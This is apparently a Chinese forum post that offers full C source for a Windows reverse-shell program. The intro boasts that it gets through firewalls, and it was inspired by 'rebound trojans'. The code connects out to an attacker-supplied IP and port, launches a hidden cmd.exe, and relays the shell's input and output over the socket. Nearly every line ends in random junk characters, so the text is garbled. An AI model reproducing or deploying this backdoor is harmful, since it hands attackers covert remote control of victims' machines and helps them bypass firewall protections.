这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #n]js7
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/* ============================== ~ULuX"n
Rebound port in Windows NT K:c5Yq^
By wind,2006/7 :@KWp{ D7
===============================*/ ~zi6wu(3
#include -i:Zi}f
#include F +D2
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#pragma comment(lib,"wsock32.lib") H\W60|z9
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void OutputShell(); K!7o#"GM
SOCKET sClient; $fPf/yQmC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qtnLQl"M
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void main(int argc,char **argv) (zwxrOS
{ 2.p7fu
WSADATA stWsaData; t(?m!Z?tb
int nRet; -8HIsRh
SOCKADDR_IN stSaiClient,stSaiServer; 2shr&Mfp[
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if(argc != 3) CtTG`)"|
{ 1?]Gl+}
printf("Useage:\n\rRebound DestIP DestPort\n"); oil s;*q
return; &Y\Vh}
} Y\(Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); >(ku*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yd]W',c
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stSaiClient.sin_family = AF_INET; y>'^<xk
stSaiClient.sin_port = htons(0); %0YwaxXPn7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $2A%y14
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Us+|L |/
{ Xt(w+
printf("Bind Socket Failed!\n"); bU/5ug.
return; 0t*JP
} eh2 w7@7Q
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stSaiServer.sin_family = AF_INET; {xi$'r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0R\lm<&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %a&Yt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) / *Z(;-
{ TFb9gOTJ
printf("Connect Error!"); \`;FL\1+W
return; mg[=~&J^
}
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OutputShell(); ` :eXXE
} /Z';#G,z
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void OutputShell() F-k3'eyY
{ ~>3$Id:
char szBuff[1024]; j!B+Q
SECURITY_ATTRIBUTES stSecurityAttributes; YQ}Rg5o
OSVERSIONINFO stOsversionInfo; |GM?4'2M.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |G&<@8O
STARTUPINFO stStartupInfo; T~J6(,"
char *szShell; fWhw I+
PROCESS_INFORMATION stProcessInformation; ^s\(2lB\F
unsigned long lBytesRead; NVU @m+m~
}` E5I&r4
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r"d/9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TUHC[#Vb?
stSecurityAttributes.lpSecurityDescriptor = 0; sXDS_Q
stSecurityAttributes.bInheritHandle = TRUE; 2>p K
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -lV]((I&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I:CnOpR>A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OJPxV~y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _W'>?e0i
stStartupInfo.wShowWindow = SW_HIDE; *%5.{J!
stStartupInfo.hStdInput = hReadPipe; 6*8"?S'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `[3Iz$K=
fw$/@31AP?
GetVersionEx(&stOsversionInfo); @]P#]%^D2
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switch(stOsversionInfo.dwPlatformId) F$QN>wPpM
{ 23?\jw3w
case 1: ?$i`K|
szShell = "command.com"; =)5O(h
break; =Ryh@X&
default: <@6K(
szShell = "cmd.exe"; 649{\;*4
break; O32p8AxEz
} >a7OE=K
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,e$]jC<sv2
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send(sClient,szMsg,77,0); K>iM6Uv
while(1) C"}CD{<H]M
{ \H|tc#::{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -x)Oo`
if(lBytesRead) 8*z)aB&f3
{ DuX7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,rj_P
send(sClient,szBuff,lBytesRead,0); XgL-t~_
} TbX#K:l
else f'&30lF
{ tS#=I.ET
lBytesRead=recv(sClient,szBuff,1024,0); 8g0By;h;
if(lBytesRead<=0) break; "P.H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aVkgE>
} K"4m)B~@Y
} s|B
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return; _RI`I}&9Z
}